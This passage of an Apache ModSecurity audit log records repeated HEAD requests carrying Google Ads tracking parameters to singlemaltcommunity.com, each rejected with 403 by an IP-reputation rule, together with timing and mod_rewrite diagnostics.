Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273187821577 6090 (- - -)
Stopwatch2: 1789273187821577 6090; combined=4417, p1=302, p2=3714, p3=77, p4=8, p5=316, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--90019c17-Z--

--19ff8f4b-A--
[13/Sep/2026:07:19:48.184277 +0300] aqYkZGM7dE9KgIIOpQhhYgAAAM4 95.134.102.121 35916 127.0.0.1 7081
--19ff8f4b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.121
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--19ff8f4b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--19ff8f4b-E--

--19ff8f4b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273188176410 7965 (- - -)
Stopwatch2: 1789273188176410 7965; combined=5932, p1=296, p2=5179, p3=136, p4=11, p5=309, sr=141, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--19ff8f4b-Z--

--1afe417a-A--
[13/Sep/2026:07:19:48.587598 +0300] aqYkZGM7dE9KgIIOpQhhYwAAAMk 95.134.102.25 35928 127.0.0.1 7081
--1afe417a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--1afe417a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1afe417a-E--

--1afe417a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273188576372 11434 (- - -)
Stopwatch2: 1789273188576372 11434; combined=8490, p1=478, p2=7243, p3=153, p4=12, p5=604, sr=249, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1afe417a-Z--

--d77b4d2f-A--
[13/Sep/2026:07:20:38.098431 +0300] aqYklkwu1RSkptiiNIXvmQAAAIo 151.243.174.177 55966 127.0.0.1 7081
--d77b4d2f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.177
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d77b4d2f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d77b4d2f-E--

--d77b4d2f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273238087528 10942 (- - -)
Stopwatch2: 1789273238087528 10942; combined=5507, p1=916, p2=4231, p3=61, p4=7, p5=292, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d77b4d2f-Z--

--5decba69-A--
[13/Sep/2026:07:20:38.521516 +0300] aqYklkwu1RSkptiiNIXvmgAAAJQ 151.243.174.162 55976 127.0.0.1 7081
--5decba69-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.162
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--5decba69-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--5decba69-E--

--5decba69-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273238515167 6406 (- - -)
Stopwatch2: 1789273238515167 6406; combined=4678, p1=250, p2=4055, p3=64, p4=7, p5=302, sr=107, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5decba69-Z--

--3c62e44f-A--
[13/Sep/2026:07:20:38.878219 +0300] aqYklkwu1RSkptiiNIXvmwAAAJc 151.243.174.85 55980 127.0.0.1 7081
--3c62e44f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.85
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--3c62e44f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3c62e44f-E--

--3c62e44f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273238872425 5834 (- - -)
Stopwatch2: 1789273238872425 5834; combined=4359, p1=282, p2=3768, p3=61, p4=6, p5=242, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3c62e44f-Z--

--90f8d01f-A--
[13/Sep/2026:07:20:50.770357 +0300] aqYkomM7dE9KgIIOpQhhdAAAANE 46.203.158.185 54542 127.0.0.1 7081
--90f8d01f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 46.203.158.185
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--90f8d01f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--90f8d01f-E--

--90f8d01f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273250764528 5901 (- - -)
Stopwatch2: 1789273250764528 5901; combined=4275, p1=298, p2=3652, p3=84, p4=7, p5=234, sr=102, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--90f8d01f-Z--

--d6586c43-A--
[13/Sep/2026:07:20:51.073338 +0300] aqYko2M7dE9KgIIOpQhhdQAAAMI 91.124.31.150 54552 127.0.0.1 7081
--d6586c43-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.150
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d6586c43-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d6586c43-E--

--d6586c43-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273251064991 8410 (- - -)
Stopwatch2: 1789273251064991 8410; combined=6185, p1=277, p2=5505, p3=102, p4=9, p5=291, sr=119, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d6586c43-Z--

--8dc49549-A--
[13/Sep/2026:07:20:51.379235 +0300] aqYko2M7dE9KgIIOpQhhdgAAAM0 91.124.31.242 54560 127.0.0.1 7081
--8dc49549-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 91.124.31.242
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--8dc49549-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--8dc49549-E--

--8dc49549-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273251373430 5845 (- - -)
Stopwatch2: 1789273251373430 5845; combined=4495, p1=295, p2=3898, p3=62, p4=6, p5=234, sr=159, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8dc49549-Z--

--89527f65-A--
[13/Sep/2026:07:22:40.293387 +0300] aqYlEEwu1RSkptiiNIXvowAAAJY 95.134.102.244 38906 127.0.0.1 7081
--89527f65-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.244
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--89527f65-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--89527f65-E--

--89527f65-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273360288190 5235 (- - -)
Stopwatch2: 1789273360288190 5235; combined=3913, p1=275, p2=3331, p3=62, p4=6, p5=239, sr=88, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--89527f65-Z--

--b6278f38-A--
[13/Sep/2026:07:22:40.690107 +0300] aqYlEGM7dE9KgIIOpQhhjQAAAMM 151.243.174.108 38920 127.0.0.1 7081
--b6278f38-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--b6278f38-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b6278f38-E--

--b6278f38-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273360684198 5961 (- - -)
Stopwatch2: 1789273360684198 5961; combined=4472, p1=270, p2=3825, p3=78, p4=9, p5=290, sr=101, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b6278f38-Z--

--4568e756-A--
[13/Sep/2026:07:22:41.078780 +0300] aqYlEUwu1RSkptiiNIXvpAAAAJE 95.134.102.134 38926 127.0.0.1 7081
--4568e756-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.134
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--4568e756-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--4568e756-E--

--4568e756-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273361070765 8061 (- - -)
Stopwatch2: 1789273361070765 8061; combined=5887, p1=292, p2=5021, p3=116, p4=10, p5=448, sr=127, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4568e756-Z--

--7a9c4978-A--
[13/Sep/2026:07:22:55.611858 +0300] aqYlH2M7dE9KgIIOpQhhkAAAANQ 95.134.102.36 50484 127.0.0.1 7081
--7a9c4978-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.36
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--7a9c4978-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7a9c4978-E--

--7a9c4978-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273375606258 5701 (- - -)
Stopwatch2: 1789273375606258 5701; combined=4188, p1=257, p2=3577, p3=68, p4=8, p5=278, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7a9c4978-Z--

--c1cd9d13-A--
[13/Sep/2026:07:22:55.983454 +0300] aqYlHzTJ6xTvcJoem7f2XwAAAEA 151.243.174.101 50486 127.0.0.1 7081
--c1cd9d13-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.101
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--c1cd9d13-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--c1cd9d13-E--

--c1cd9d13-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273375977454 6052 (- - -)
Stopwatch2: 1789273375977454 6052; combined=4638, p1=299, p2=4019, p3=62, p4=7, p5=250, sr=120, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c1cd9d13-Z--

--3e094158-A--
[13/Sep/2026:07:22:56.362490 +0300] aqYlIEwu1RSkptiiNIXvpgAAAI8 151.243.174.120 50490 127.0.0.1 7081
--3e094158-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gbraid%3D0AAAABD56NGNmXlQxgxu82uWD1zCeRR2GM%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.120
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--3e094158-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3e094158-E--

--3e094158-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273376356707 5836 (- - -)
Stopwatch2: 1789273376356707 5836; combined=4320, p1=266, p2=3699, p3=61, p4=7, p5=287, sr=99, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3e094158-Z--

--a5540354-A--
[13/Sep/2026:07:23:22.350649 +0300] aqYlOjTJ6xTvcJoem7f2YAAAAE0 95.134.102.154 57282 127.0.0.1 7081
--a5540354-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--a5540354-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a5540354-E--

--a5540354-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273402342342 8351 (- - -)
Stopwatch2: 1789273402342342 8351; combined=6495, p1=371, p2=5705, p3=86, p4=9, p5=324, sr=156, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a5540354-Z--

--950c315e-A--
[13/Sep/2026:07:23:22.755385 +0300] aqYlOjTJ6xTvcJoem7f2YQAAAEk 151.243.174.142 57292 127.0.0.1 7081
--950c315e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.142
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--950c315e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--950c315e-E--

--950c315e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273402745864 9582 (- - -)
Stopwatch2: 1789273402745864 9582; combined=7357, p1=409, p2=6525, p3=91, p4=10, p5=321, sr=207, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--950c315e-Z--

--b79c375e-A--
[13/Sep/2026:07:23:23.157248 +0300] aqYlO2M7dE9KgIIOpQhhlQAAAM4 151.243.174.19 57296 127.0.0.1 7081
--b79c375e-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.19
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b79c375e-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b79c375e-E--

--b79c375e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273403150046 7243 (- - -)
Stopwatch2: 1789273403150046 7243; combined=5388, p1=266, p2=4771, p3=78, p4=8, p5=265, sr=117, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b79c375e-Z--

--fb08cd5d-A--
[13/Sep/2026:07:23:36.901007 +0300] aqYlSEwu1RSkptiiNIXvqQAAAJA 95.134.102.48 55236 127.0.0.1 7081
--fb08cd5d-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.48
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--fb08cd5d-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fb08cd5d-E--

--fb08cd5d-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273416890260 10832 (- - -)
Stopwatch2: 1789273416890260 10832; combined=8004, p1=537, p2=6617, p3=158, p4=11, p5=681, sr=244, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fb08cd5d-Z--

--b4651022-A--
